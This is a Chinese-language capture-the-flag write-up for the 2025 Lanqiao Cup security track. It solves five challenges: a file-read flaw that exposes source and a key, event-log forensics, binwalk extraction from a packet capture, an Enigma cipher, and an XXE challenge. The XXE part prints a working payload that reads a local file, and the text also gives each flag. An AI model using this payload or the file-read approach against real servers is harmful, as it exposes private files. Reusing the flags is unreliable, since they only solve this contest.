蓝桥杯-网安赛道 2025 wp

蓝桥杯-网安赛道 2025 wp

1.黑客密室逃脱

进入题目,可以看到

image-20250426125738521

点击查看日志,可以看到一串字符

image-20250426125758648

1
d9d1c4d9e0ac929fc7dd9a6a9562acc796a892a891a1cba696989698a0c795a3c8d995d198db6d6d62b2

这串字符是关键,我们接着往下,前往秘密区域

image-20250426125808974

然后让你输入GET参数/file?name=xxx,一般来说没有线索就爆破,用Burpsuite.

image-20250426125826269

然后发现输入这个/file?name=templates会回显不同的页面

image-20250426130023806

在这里看到有一个app.py文件,输入看看

image-20250426125956551

好的,获得了源代码,接下来就简单了,已知encrypted_sensitive_info = simple_encrypt(sensitive_info, encryption_key),而log_content = f"用户访问了 /secret 页面,可能试图获取 {encrypted_sensitive_info}",所以访问/logs就可以获得encrypted_sensitive_info,就是刚刚那串字符,还有密钥,由

1
2
3
4
# 指定安全的文件根目录
SAFE_ROOT_DIR = os.path.abspath('/app')
with open(os.path.join(SAFE_ROOT_DIR, 'hidden.txt'), 'w') as f:
f.write(hidden_file_content)

可知在/app/hidden.txt,直接访问

image-20250426130041373

可以看到,密钥为secret_key4515

返回源代码,可以看到加密逻辑

1
2
3
4
5
6
7
def simple_encrypt(text, key):
encrypted = bytearray()
for i in range(len(text)):
char = text[i]
key_char = key[i % len(key)]
encrypted.append(ord(char) + ord(key_char))
return encrypted.hex()

有了密文和密钥,直接解密就好了,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def simple_decrypt(encrypted_hex, key):
encrypted_bytes = bytes.fromhex(encrypted_hex)
decrypted = ""
for i in range(len(encrypted_bytes)):
encrypted_char = encrypted_bytes[i]
key_char = key[i % len(key)]
decrypted += chr(encrypted_char - ord(key_char))
return decrypted


# 示例使用
sensitive_info = "d9d1c4d9e0ac929fc7dd9a6a9562acc796a892a891a1cba696989698a0c795a3c8d995d198db6d6d62b2"
encryption_key = "secret_key4515"
decrypted_sensitive_info = simple_decrypt(sensitive_info, encryption_key)
print(f"解密后的信息: {decrypted_sensitive_info}")

得出flag为flag{834bdf5d-9b36-426f-bcec-b21ce6f3b981}

2.ezEvtx

image-20250426130229105

这道题为日志查看题,打开文件,寻找敏感信息

image-20250426130251433

一开始因为事件 ID为4688的日志都是文件名,所以找了半天,结果一直不对,后来随着事件 ID的顺序一点一点找,发现在4634和4688中间还有一个4663

image-20250426130341912

好家伙,文件名就在这里,所以flag为flag{confidential.docx}

3.flowzip

是一个流量包,看到内容里有很多压缩包,所以尝试用binwalk提取

1
binwalk -e flowzip.pcapng

image-20250426130441751

果真提取出来很多文件,一个一个找的,找到了flag

找到的flag在jpkwz.txt文件里,为flag{c6db63e6-6459-4e75-bb37-3aec5d2b947b}

4.Enigma

打开附件是一个CyberChef的界面,里面是Enigma加密

image-20250426130458955

本来没有思路,后来打开本地的CyberChef,把下面给的一串字符放上去,在加上同样的Enigma加密,结果就出了

image-20250426130510900

得到flag为flag{HELLOCTFERTHISISAMESSAGEFORYOU}

5.星际XML解析器

这是一道简单的 web XXE的题目

image-20250426130603130

直接放出payload:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE hack [
<!ENTITY as SYSTEM "file:///flag">
]>
<user>
<username>&as;</username>
</user>

(其中的这个as为所以一个变量,取什么都可以)

这样就可以得到flag

image-20250426130619225

flag为flag{f70f15e9-cd04-4d1d-add4-532e2406e721}


蓝桥杯-网安赛道 2025 wp
http://example.com/2025/04/26/蓝桥杯-网安赛道-2025-wp/
作者
yuhua
发布于
2025年4月26日
许可协议